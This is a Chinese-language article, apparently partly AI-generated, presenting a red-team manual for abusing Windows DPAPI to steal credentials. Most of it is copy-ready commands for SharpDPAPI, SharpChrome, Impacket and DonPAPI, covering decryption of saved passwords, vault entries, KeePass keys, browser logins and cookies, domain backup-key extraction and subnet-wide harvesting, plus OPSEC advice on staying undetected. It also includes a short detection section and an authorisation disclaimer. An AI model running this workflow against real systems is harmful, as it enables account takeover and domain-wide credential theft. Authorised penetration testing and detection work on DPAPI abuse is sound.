尧图精选

Anthropic-Cybersecurity-Skills 实战指南:滥用 Windows DPAPI 实现凭据访问(T1555.004)完整操作手册

🕒 发布时间:2026/9/10 16:23:29 📁 来源:尧图网络
Anthropic-Cybersecurity-Skills 实战指南滥用 Windows DPAPI 实现凭据访问T1555.004完整操作手册【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本文基于开源仓库 Anthropic-Cybersecurity-Skills 中的 abusing-dpapi-for-credential-access 技能文档 编写。该技能是 817 个结构化网络安全技能之一面向 AI Agent 与安全从业者提供从主机 Triage 到域级备份密钥解密的完整 DPAPI 凭据获取方法论。读完本文你将掌握三条 DPAPI 解密路径在线上下文解密、离线密码/NTLM 哈希解密、域备份密钥全域解密、SharpDPAPI / SharpChrome / Mimikatz / Impacket 的完整命令用法以及对应的 MITRE ATTCK 映射与检测规避要点。概述DPAPI 为什么是红队凭据获取的核心目标Windows 数据保护 APIData Protection APIDPAPI是操作系统内置的对称加密服务应用程序用它保护磁盘上的秘密数据保存的 RDP 和 Windows 凭据管理器Credential Manager凭据、Credential Vault 中的 Web 与 Wi-Fi 凭据、浏览器保存的登录信息与 CookieChrome/Edge、KeePass 主密钥、证书私钥以及计划任务密码。DPAPI 的密码学核心是两层密钥结构系统从用户的密码或机器账户密钥派生出每个用户或每台机器独有的主密钥Master Key再由该主密钥加密一个个独立的 DPAPI blob。加密后的主密钥存放在固定的文件路径下密钥类型存放路径用户主密钥%APPDATA%\Microsoft\Protect\SID\机器主密钥%WINDIR%\System32\Microsoft\Protect\凭据管理器 Blob%LOCALAPPDATA%\Microsoft\Credentials\Credential Vault%APPDATA%\Microsoft\Vault\/%LOCALAPPDATA%\Microsoft\Vault\红队获得立足点foothold后滥用 DPAPI 即可恢复明文凭据对应 MITRE ATTCKT1555.004从密码存储中获取凭据Windows 凭据管理器。攻击者有三条主要的解密路径在线 / 上下文解密——以目标用户身份运行时DPAPI 的CryptUnprotectDataAPI 可直接透明解密该用户的 blob。SharpDPAPI 的/unprotect标志即走此路径。离线 用户密码或 NTLM 哈希——用/password:或/ntlm:先解密用户主密钥再离线解密 blob。非常适合处理从主机拉取triage回来的文件。域级备份密钥——域管理员可一次性提取域内 RSA DPAPI 备份密钥.pvk此后可在线或离线解密任意域用户的主密钥使用/pvk:指定。配套工具方面Windows 平台的标准工具链是SharpDPAPIGhostPack 出品Mimikatz DPAPI 功能的 C# 移植用于通用 TriageSharpChrome专攻浏览器凭据Mimikatzdpapi::*模块是原始实现Linux 侧则用 Impacket 的dpapi.py与donpapi做远程/离线 Triage。何时使用本技能攻陷 Windows 主机后目标用户保存了值得为横向移动收集的 RDP、浏览器或 Vault 凭据你已持有某用户的密码或 NTLM 哈希希望离线解密其 DPAPI 保护的秘密你拥有域管理员权限希望获取域 DPAPI 备份密钥从而解密全企业范围内任意用户的受保护数据需要对从磁盘镜像中提取的Credentials、Vault、Protect目录进行 Triage紫队演练中验证对 DPAPI 主密钥访问、LSASS/Protect 目录读取的检测能力。前置条件与工具准备操作前必须满足对目标 Windows 主机持有已授权的立足点交互式会话、Beacon 或远程管理权限掌握目标用户的 SID以及以下任一条件用户会话、明文密码、NTLM 哈希或用于备份密钥的域管理员权限准备相应工具。工具应编译自源码或使用官方发行版二进制务必只从官方上游获取# SharpDPAPI / SharpChromeGhostPack— 用 Visual Studio / msbuild 构建 git clone https://github.com/GhostPack/SharpDPAPI.git # 打开 SharpDPAPI.sln 构建 Release或命令行 msbuild SharpDPAPI.sln /p:ConfigurationRelease # MimikatzDPAPI 原始实现— 使用官方 release # Linux 远程/离线 TriageImpacket pipx install impacket # 提供 dpapi.py / impacket-dpapi pipx install donpapi本技能还附带一个可直接落地的 Python 编排脚本 scripts/agent.py详见下文配套脚本一节。MITRE ATTCK 与框架映射技能文档 SKILL.md 的 frontmatter 声明了mitre_attack: T1555.004与nist_csf: DE.CM-01完整的映射依据见 references/standards.mdTechnique ID名称战术相关性T1555.004Credentials from Password Stores: Windows Credential ManagerCredential AccessDPAPI 保护凭据管理器/Vault 条目解密主密钥和 blob 即可恢复存储的凭据T1555.003Credentials from Password Stores: Credentials from Web BrowsersCredential AccessSharpChrome 解密 DPAPI 保护的 Chrome/Edge 登录信息、Cookie 与 state keyT1003OS Credential DumpingCredential Access提取主密钥/备份密钥属于凭据材料转储NIST CSF 2.0 侧对应DE.CM-01网络与网络服务被监控以发现潜在不利事件DPAPI 滥用会产生可检测信号发往 DC 的 MS-BKRP 备份密钥 RPC、Protect/Credentials 目录访问、LSASS 访问监控必须能暴露这些信号。支撑规范还包括MS-BKRPBackupKey Remote Protocol用于获取域 DPAPI 备份密钥的 RPC 接口、MS-DPSP/DPAPI微软 DPAPI 规范以及D3FEND中的 Credential Eviction / Password Rotation 作为 DPAPI 失陷后的缓解措施。攻击工作流七步从 Triage 到全域解密1. 主机 Triage枚举 DPAPI Blob在目标用户上下文中运行 SharpDPAPI 的triage命令自动枚举并尽可能解密凭据、Vault、RDG/RDP、证书# 当前用户上下文在线 Triage使用 CryptUnprotectData SharpDPAPI.exe triage /unprotect # 机器级 Triage需要本地管理员 / SYSTEM针对机器作用域 blob SharpDPAPI.exe machinetriage提示triage是自动串联credentials、vaults、rdg、certificates的一站式命令机器作用域对应machinetriage串联machinemasterkeys、machinecredentials、machinevaults。各命令与标志的完整速查见 references/api-reference.md。2. 离线解密用户主密钥密码或 NTLM 哈希若你持有用户密码或哈希可先解密其主密钥得到可复用的{GUID}:SHA1映射再对单个 blob 使用# 用明文密码解密当前/指定用户的所有主密钥 SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple # 改用 NTLM 哈希而非密码 SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a # 输出为 GUID:SHA1 行 — 可喂给 credentials/vaults 等命令masterkeys命令输出的GUID:SHA1映射是整个离线解密链路的关键中间产物后续的credentials、vaults命令都把它当作输入。3. 恢复凭据管理器与 Vault 秘密用解密后的主密钥映射或/pvk:解密存储的凭据与 Vault 条目# 用 GUID:SHA1 映射解密凭据管理器 blob SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1 # 或指定目标 Credentials 文件夹用域备份密钥解密 SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk # 解密 Credential Vault 条目 SharpDPAPI.exe vaults /pvk:backupkey.pvk4. 解密 RDP、KeePass 与证书秘密# 保存的 RDCMan.settings RDP 密码当前用户上下文 SharpDPAPI.exe rdg /unprotect # KeePass DPAPI 保护的主密钥 SharpDPAPI.exe keepass /unprotect # 证书私钥用 /showall 导出所有存储输出可用 .pem SharpDPAPI.exe certificates /unprotect /showall5. 用 SharpChrome 提取浏览器凭据SharpChrome 解密 Chrome/Edge 的登录信息与 Cookie。现代 Chromium 使用 App-Bound 的 state keySharpChrome 通过 DPAPI 解析它# 解密当前用户的保存登录信息 SharpChrome.exe logins /unprotect # 解密指定文件夹中的 Cookie会话劫持场景非常有用 SharpChrome.exe cookies /target:C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies /pvk:backupkey.pvk # 显式解析 AES state key SharpChrome.exe statekeys /unprotect6. 获取域 DPAPI 备份密钥域管理员拥有域管理员权限后一次性提取域的 RSA DPAPI 备份私钥。该密钥可以无限期解密每一个域用户的主密钥# 通过 MS-BKRP RPC 接口拉取并保存域备份密钥为 .pvk SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk随后即可离线解密任意用户的主密钥SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\从源码结构看api-reference.mdbackupkey还支持/rpc标志通过 RPC 向 DC 请求主密钥解密适用于不想在本机持有备份密钥材料的场景。7. Linux 远程 / 离线 TriageImpacket / DonPAPI从 Linux 操作机跨主机收割并解密 DPAPI 秘密# 用 Impacket 域备份密钥解密单个主密钥文件 impacket-dpapi masterkey -file masterkey_file -pvk backupkey.pvk # 用恢复出的主密钥解密凭据 blob impacket-dpapi credential -file cred_blob -key 0xdecrypted_masterkey # 用 DonPAPI 跨主机批量远程 DPAPI 收割 donpapi collect -u alice -p Password123! -d corp.local --target 10.0.0.0/24命令速查参数与关键文件位置技能文档附带的 api-reference.md 提供了可复制的参数速查表整理如下。SharpDPAPI 用户命令命令用途示例triage自动运行 credentials、vaults、rdg、certificatesSharpDPAPI.exe triage /unprotectmasterkeys解密用户主密钥GUID:SHA1 输出SharpDPAPI.exe masterkeys /password:Passcredentials解密凭据管理器 blobSharpDPAPI.exe credentials /pvk:key.pvkvaults解密 Credential Vault 条目SharpDPAPI.exe vaults /pvk:key.pvkrdg解密 RDCMan.settings RDP 密码SharpDPAPI.exe rdg /unprotectkeepass解密 KeePass DPAPI 密钥SharpDPAPI.exe keepass /unprotectcertificates解密证书私钥SharpDPAPI.exe certificates /unprotect /showallSharpDPAPI 机器命令需管理员/SYSTEM命令用途machinemasterkeys解密机器主密钥使用 DPAPI_SYSTEM LSA 秘密machinecredentials解密机器凭据 blobmachinevaults解密机器 Vault 条目machinetriage运行全部机器作用域 Triage 命令SharpDPAPI 支撑命令命令用途示例backupkey通过 MS-BKRP 获取域 DPAPI 备份密钥.pvkSharpDPAPI.exe backupkey /server:dc01 /file:key.pvk常用标志标志含义/unprotect在当前用户上下文使用实时CryptUnprotectData在线/password:pw用用户明文密码解密主密钥/ntlm:hash用用户 NTLM 哈希解密主密钥/pvk:file用域备份私钥解密/mkfile:file指定具体主密钥文件/server:dc指定 backupkey 检索的目标 DC/target:path指定要解密的文件/文件夹/rpc用 RPC 向 DC 请求主密钥解密/showall显示所有证书存储 / 详细输出SharpChrome 命令命令用途示例logins解密浏览器保存的登录信息SharpChrome.exe logins /unprotectcookies解密浏览器 CookieSharpChrome.exe cookies /pvk:key.pvkstatekeys解密 AES App-Bound state keySharpChrome.exe statekeys /unprotectImpacket dpapi.pyLinux子命令用途示例masterkey解密主密钥文件impacket-dpapi masterkey -file MK -pvk key.pvkcredential解密凭据 blobimpacket-dpapi credential -file CRED -key 0xmkvault解密 Vault policy/credsimpacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0xmkbackupkeys获取域备份密钥impacket-dpapi backupkeys -t corp.local/admindc -pvk out.pvk仓库配套脚本自动化 DPAPI Triage 编排器技能目录下的 scripts/agent.py 是一个面向操作员的 Python 辅助脚本它负责构建并运行真实工具命令、解析输出而不重新实现 DPAPI 密码学脚本 docstring 中明确声明了这一点。从源码结构可以看清整个 Triage 自动化的设计enumerate_artifacts(profile)agent.py按AppData\Roaming\Microsoft\Protect主密钥、AppData\Local\Microsoft\Credentials凭据 blob、AppData\Local\Microsoft\Vault与AppData\Roaming\Microsoft\VaultVault四个相对路径递归枚举全部 DPAPI 工件文件返回masterkeys、credentials、vaults三类清单。这些常量与 api-reference.md 中的关键文件位置表完全一致印证了文档对磁盘布局的描述。sharpdpapi_triage(tool, ...)agent.py按优先级自动组装 SharpDPAPItriage命令——有/pvk:优先用域备份密钥否则/password:否则/ntlm:兜底/unprotect。这直接复刻了 SKILL.md 中三条解密路径的取舍逻辑。decrypt_masterkey_impacket(tool, ...)agent.py对每个主密钥文件调用impacket-dpapi masterkey -file mk -pvk pvk实现 Linux 侧批量离线解密。main()agent.py提供--mode enumerate|impacket|sharpdpapi三种模式配合--profile已挂载/提取的 Windows 用户配置目录、--pvk、--password、--ntlm、--timeout默认 120 秒/命令参数。脚本同时内置了授权提醒输出与 ROERules of Engagement确认提示并会检测工具是否存在于 PATH 中。这意味着在 Triage 场景中你既可以直接手敲 SharpDPAPI 命令也可以让该脚本代为枚举工件并驱动解密工具适合在提取exfiltrated的用户配置目录上做离线批量处理。检测与 OPSEC 注意事项技能文档 SKILL.md 对攻防双方都给出了明确提示主密钥访问、对\Microsoft\Protect\与\Microsoft\Credentials\的读取都是可检测的backupkey操作会向 DC 触发一次 MS-BKRP RPC 调用这是域级活动的高置信信号/unprotect在线路径是单主机场景下最隐蔽的选项但仅能在存活用户上下文中工作防御方应监控 Sysmon 对 LSASS 的进程访问以及对 Protect/Credentials 文件夹的异常访问对应 NIST CSF DE.CM-01。从 OPSEC 角度攻方应权衡三条路径的暴露面在线路径不留文件但依赖会话离线路径需要先取得主密钥材料复制Protect目录本身即是取证痕迹域备份密钥路径威力最大但 MS-BKRP RPC 极易被 DC 侧审计捕获。验证清单完成一次完整的 DPAPI 凭据访问演练后应逐项确认来自 SKILL.md 的 Validation Criteria用SharpDPAPI triage/machinetriage完成主机 Triage通过/unprotect、/password:、/ntlm:或/pvk:解密用户主密钥恢复凭据管理器与 Vault 秘密提取 RDP / KeePass / 证书秘密如存在用 SharpChrome 解密浏览器登录信息/Cookie用域管理员权限获取域 DPAPI 备份密钥如范围内并离线复用所有恢复的秘密均记录来源主机/用户并确认符合 ROE 约束。合规声明本技能仅限在已授权的渗透测试、红队演练与教育环境中使用。从你未拥有、或缺乏明确书面授权测试的系统中提取凭据是违法行为可能触犯计算机欺诈与滥用相关法律。所有操作必须置于签署的规则rules-of-engagement之内并记录每一步操作。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
上一篇/下一篇内容由系统自动关联 返回资讯列表 →